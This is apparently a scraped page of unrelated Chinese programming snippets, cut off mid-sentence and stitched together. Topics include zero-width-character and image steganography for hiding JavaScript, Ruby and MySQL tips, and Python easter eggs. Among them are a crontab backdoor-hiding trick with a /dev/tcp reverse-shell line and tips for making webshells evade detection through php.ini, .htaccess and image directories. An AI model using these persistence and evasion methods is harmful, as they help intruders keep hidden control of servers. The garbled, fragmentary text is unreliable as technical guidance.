短”字加了引号,只是因为它看起来短,实际并不短,因为字节还是在的,在 unicode 里有一种神奇的字符叫 零宽空白,它的特点是字型的显示宽度为 0,无论堆了多少个零宽字符,你都看不见它。...藏了大量的零宽字符,实际看起来就好像是一个空字符串 “”,这个“空”字串即是 md5 的函数定义经过编码转换后得到的全零宽字符串,此创意最初源自一个叫z.js 的库。...的字串,把 1 替换成 U+200C,把 0 替换成 U+200D 就得到一个全零宽空白的字符串,每 8 位零宽字符可用于表示 1 个 ascii字符,所以例子当中,理论上是变长的,不算解码程序的 129...个字符,仅空白就占了原文 8 倍的体积,如果出现中文,那就更不止了,因为中文已经超过了 ascii 的范围,需要先转成纯 ascii (如以 \uxxxx 表示)后再处理。...(点代码框右上角运行即可) var code = hider('alert("测试一下。。")'); console.log(code);
本文主要灵感来自:https://imququ.com/post/code2png-encoder.html 我改变了原文的解码方式,结合之前写的像素隐写https://hide.aoaoao.me/...使得代码能够隐藏在现有图片中。...比如下面代码中的md5加密函数就写在了图片中。.../download.aoaoao.me/25054098_result.png'; </script> 效果预览:https://jsfiddle.net/de885aga/ 而实际上加载的这张图片看上去并没有什么特别之处
彻底隐藏你HTML网页的源代码 function clear() { Source=document.body.firstChild.data
第一种,ruby -e 在命令行中运行下面命令,-e的意思是,把后面的字符串当作脚本执行 ruby -e "print 'hello'" 使用irb交互控制台 在命令行输入irb hello worldxingoo...hello" "hello" => "hello" irb(main):002:0> p "中文hello" "中文hello" => "中文hello" irb(main):003:0> eixt 使用ruby...命令执行 xingoo@xingoo-Lenovo:~/workspace/RubyTest/KittyRuby$ ruby hello.rb hello world hello.rb中的内容: print
: mysql -u root -p 接下来会提示输入密码 具体方法参见点击打开链接 mysql安装完毕,接下来要安装两个工具 1.dbi ------即database interface,是ruby...访问数据库的模块 2.dbd-mysql 关于数据访问层 ruby对每一种数据库都提供了一个相应的驱动(DataBase Driven,DBD),我们想要连接mysql数据库,就必须安装mysql驱动。...有了最底层的DBD,还不行,每一种DBD的使用方式还不一样,因此Ruby提供了一个基于DBD的接口-----DBI DBI会把所有DBD整合在一起,也就是说有了DBI,不论你使用的数据库是mysql,sql...server,oracle还是其它数据库,它们的操作方式都是一样的,你只需要修改一下配置文件就可以更换数据库。...使用 gem 安装 dbi 与 mysql驱动 gem install dbi 在这一步你很有可能安装失败,你需要先安装rails gem install rails 然后再安装dbi gem install
问题: 最近在做一个应用的时候碰到了一个问题。客户端需要调用服务器端传回的脚本信息,然后执行。其中脚本类型包括ruby。...而java中调用ruby的代码大致如下: 1 String jrubyCode="puts 'hello world'"; 2 ScriptEngineManager manager = new ScriptEngineManager...原因: 目前jdk里面内嵌的好像只有支持最基本的js调用的引擎,对于其他的脚本语言调用,需要用到对应的脚本引擎jar包。 解决办法: 百度了很多都无果,最终google出了解决办法。 1....安装或者解压对应的jruby到特定的目录,并且模仿java_home设置jruby_home和path。 3. 引入解压或者安装之后程序lib目录下的jruby,jar包到工程中。...可以看到其构造方法调用了initRubyInstanceConfig方法,该方法根据JRUBY_HOME对应的路径去找对应的jruby实例。这就完美的说明了前面三个步骤的原因。
算法思想 判断某一个数,能不能被比他平方根小的素数整除。...首先看看代码 $arr = [] $arr[0] = 2 def add_prime(n) 3.step(n,2){|num| $arr <<num if is_prime?...return true end add_prime(50) puts $arr.join(","),"\n" 分析一下 关于变量:$xxx是创建全局变量 3.step(n,2){}:就是从3开始,每次加2得到的数...,比如1.step(10, 2) { |i| print i," " } 结果就是 1 3 5 7 9 ruby if判断的时候,比较另类, action if condition,所以return false...if number % $arr[j] == 0的意思是 如果对$arr[j]取余为零,则返回false 输出的时候,","起到连接符的作用,"aaa","bbb"其实就是aaabbb 输出可以用puts
当前视图上有多个uitextfield时,来隐藏键盘, 先遍历视图的所有子视图来 如果是UITextField就将其设为非第一响应 当然,如果要隐藏子视图上的UITextField的话可以进一步判断view...的subviews的个数,如果大于1则遍历view的子视图,然后作类似操作 //隐藏键盘 当前视图上有多个uitextfield for(UIView *view in [self.view subviews
本文将带你挖掘Python中隐藏的彩蛋。 Python当然能让你上天! 没试过?别担心,我来教你。和Python里的其他东西一样,它非常简单。...你只需要敲入下面这行反重力代码 import antigravity 这是啥? 这是个彩蛋。...如果你查看代码(source:https://github.com/python/cpython/blob/master/Lib/antigravity.py#L7-L17),你会看到一个函数定义用来实现...,不要有复杂的内部实现) 复杂胜于凌乱(如果复杂不可避免,那代码间也不能有难懂的关系,要保持接口简洁) 扁平胜于嵌套(优美的代码应当是扁平的,不能有太多的嵌套) 间隔胜于紧凑(优美的代码有适当的间隔...,不写 except:pass 风格的代码) 当存在多种可能,不要尝试去猜测 而是尽量找一种,最好是唯一一种明显的解决方案(如果不确定,就用穷举法) 虽然这并不容易,因为你不是 Python
✎ 阅读须知 乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。 乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!...在这里面大佬分析了用到的技术主要是WEBRTC,具体的原理还是直接看大佬的文章吧,以下是分析截图: 1.1 无隧道的情况 当前从138和请求ipinof.io上可以查到目前我的ip地址为真实的ip:...访问下面这个地址之后,显示的也是准确的: https://www.hackjie.com/tracking 当前显示的是我的真实ip地址。...1.2 有隧道的情况下 当前使用隧道技术,并且全局,命令行配置之后,请求下当前的ip地址: 当前地址已经发生变化,此时去访问ip138看下: 貌似都是隧道之后的地址,但是当去大佬提供的地址访问之后:
诚然,它的确不如人意,然而这并非致命伤,因为问题的根源在于你的数据库速度缓慢,成为了瓶颈。因此,这个标题也可以改为 “Ruby 虽慢,但对你而言无关紧要”。...虽然有些 Ruby 项目不使用 Rails,但大部分生产中运行的 Ruby 代码都是基于 Rails 开发的。...这对所有软件都是如此,但 Ruby 放大了这一点。Rails 的 163500 行 Ruby 代码当然无助于加快速度。 “代码行” 并非性能指标,但它们是一种指示。...即使是最小的 Rails 项目也包含数十万行代码,即使你只使用其中一小部分数据。 针对 Rails 的基准测试已经进行了许多次。我现在将获得更多元数据,而不是继续讨论整个堆栈的 “基准” 和火焰图。...ActiveRecord (模式)不仅是一个漏洞的抽象,更多地是一个抽象,隐藏了一些不应被隐藏的细节。
你的心脏功能正在下降……你会因为还有很多其他事情要做而继续忽视这个问题吗?或者你会通过立即采取行动来调整你的生活方式并慢慢恢复来防止坏事的发生? 这正是你的应用程序中的代码可能发生的情况。...首先选择未使用的包、类或方法。通过 Slack、午餐或任何你喜欢的方式告诉你的同事,这些代码将被删除。然后删除代码:红色差异是最好的差异。 不能与每个人交谈的大型团队可以使用更正式但仍然简单的流程。...你的团队中大多数熟悉代码的成员都会对未使用的或不需要的代码有所了解。按照以下步骤,可以稳定地改进代码: 监控代码: 找到监控代码的方法以发现未使用的部分,或者让你的团队审查它。...Azul Intelligence Cloud 的代码清单 可以在监控步骤中为你提供帮助,它提供洞察信息来帮助你做出有关代码健康的明智决策。代码清单提供有关代码使用模式的详细洞察信息。...你的代码库的健康状况不容等待。
升级ruby版本,有时候安装ruby的版本过低,需要进行升级,例如安装在centos6.7安装fpm需要ruby版本在1.9以上。...[root@web ~]# yum install rubygems ruby-devel 0x02 查看ruby的版本 [root@web ~]# ruby -v ruby 1.8.7 (2013...-06-27 patchlevel 374) [x86_64-linux] 0x03 升级ruby1.9.3版本 1)删除原来的rubygems仓库 [root@web ~]# gem sources...need to run `source /etc/profile.d/rvm.sh` [root@web ~]# source /etc/profile.d/rvm.sh 0x04 查看RVM可安装的ruby...的版本 [root@web ~]# rvm list known # MRI Rubies [ruby-]1.8.6[-p420] [ruby-]1.8.7[-head] # security released
一行简单的SQL查询,在MySQL不同版本中竟然得出截然相反的结果。是BUG,还是隐藏陷阱? 近日,一位开发者在测试时偶然发现,同一个SQL查询语句在不同MySQL版本中返回了完全不同的结果。...是配置问题,还是MySQL的隐藏BUG? 2....给开发者的建议 基于这个发现,我们向所有MySQL开发者提出以下建议: 检查MySQL版本:如果你在代码中使用UNIX_TIMESTAMP()函数处理未来日期,请确认你的MySQL版本是否为8.0.28...如果不是,函数对2038年后日期的处理可能是错误的 明确区分用途:使用UNIX_TIMESTAMP()进行日期计算,但存储未来日期时优先使用DATETIME类型 代码审查:检查现有代码中是否有依赖UNIX_TIMESTAMP...每一个时间相关的BUG修复,都让我们向更健壮的系统迈进一步。 你的系统中是否也有类似的“时间炸弹”?欢迎在留言分享你的经历和见解。
注意: 新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行 比如我们通过redis写crontab后,管理员上线 执行 crontab-l 就会查看到我们留下的可疑命令...隐藏crontab命令 我们清除之前的cron, 使用如下命令隐藏你的后门 (crontab-l;printf"*/60 * * * * exec 9 /dev/tcp/127.0.0.1/8888...这个后门还是存在的,应该怎么看到呢? 使用 cat-A xxx 就可以看到隐藏的后门了。 ? 原理 原理就是cat一些比如 \r 回车符 \n 换行符 \f 换页符这些符号导致了隐藏。...这里用python制作一个隐藏的sh。 cmd_h = "echo 'You forgot to check `cat -A`!'...> oops" # 隐藏 cmd_v = "echo 'You see me!'"
不让网站管理员或者其他的Hacker发现,网上关于隐藏后门的方法也很多,如加密、包含,解析漏洞、加隐藏系统属性等等,但大部分已经都不实用了,随便找一个查马的程序就能很快的查出来,下面分享我总结的一些经验...: 制作免杀webshell 隐藏webshell最主要的就是做免杀,免杀做好了,你可以把webshell放在函数库文件中或者在图片马中,太多地方可以放了,只要查杀工具查不到,你的这个webshell就能存活很长时间...1级了,离目标近在咫尺了,这时候我们应该考虑让一句话木马像正常的代码,在好好的封装一下 的图片目录以及一些临时目录 4、利用php.ini 配置文件隐藏webshell,把webshell的路径加入到配置文件中 5、尝试利用静态文件隐藏一句话,然后用.htaccess 规则进行解析...,以及那些不需要经常改动的文件…… 8、如果有可能的话,还是审计下目标的代码,然后想办法在正常的代码中构造执行我们自己的webshell,即在原生代码中执行webshell 9、webshell里面尽量不要用类似
/usr/bin/env ruby 2 3class MegaGreeter 4 attr_accessor :names //设置属性,自动产生两个方法(name,name=)用来访问@name...的值 //想知道一个类提供了那些方法?...类名.instance_methods会告诉你,如果只想知道自己定义的方法加个false参数 5 6 # Create the object 7 def initialize(names = ...35 end 36 end 37 38end 39 40 41if __FILE__ == $0 //__FILE__ 现在运行的脚本文件的名字,$0 是启动脚本的名字. ...//这允许代码作为库调用的时候不运行启动代码, 而在作为执行脚本的时候调用启动代码。
“ 给你一段重复的话,你会说什么” 美好的爱情人人都希望有,但却很难实现,但浪漫的想法人人都可以拥有,哼哼,小编今天给大家带来了一个不错的东西。...来来来,小编今天教你们一招 首先我们来想象一下: 你将一串代码发给了女朋友:“嘿,我给你一样东西。”然后你就将代码发给了你的女朋友。 女朋友:“看什么?不就是一段话吗?有什么奇怪的。”...“你在好好看看!” 女朋友努力的看了起来,如下: image.png 一刻钟过去了,女朋友表示放弃,然后你走到她面前,做了一个神奇的操作,然后神奇的事就发生了。...02—神奇的代码 经过你简单的操作之后,就变成了下面这个样子 ? 然后你女朋友非常崇拜的看着你,眼里满满的都是感动。 03—操作 1、首先,你得有代码才行。...公众号回复 ‘隐藏代码’,获取该代码呦! 2、将代码复制到word文档或者某个可以完全显示带代码的网站中 3、然后按下 ctrl+f 进行查找“爱”。 4、然后神奇的事情就发生了。
如果你知道怎么做,你可以在 Chromebook 上启用 Linux,把一台可能价格相对便宜、功能相对基础的电脑变成一个严谨的笔记本,获取数百个应用和你需要的所有能力,使它成为一个通用计算机。...如果你决定购买 Chromebook,你会发现有许多不同制造商的型号,包括惠普、华硕和联想等等。有些是为学生而设计,而另一些是为家庭或商业用户而设计的。...主要的区别通常分别集中在电池功率或处理能力上。 无论你决定买哪一款,Chromebook 都会运行 Chrome OS,并为你提供现代计算机所期望的基本功能。...这个过程虽然简单,但它确实会将你的计算机重置回出厂默认状态。你必须重新登录到你的笔记本电脑中,如果你有数据存储在 Google 云盘帐户上,你必须得把它重新同步回计算机中。...开发者模式的目的是允许软件开发者测试新功能,安装新版本的操作系统等等,但它可以为你解锁仍在开发中的特殊功能。 要启用开发者模式,请首先关闭你的 Chromebook。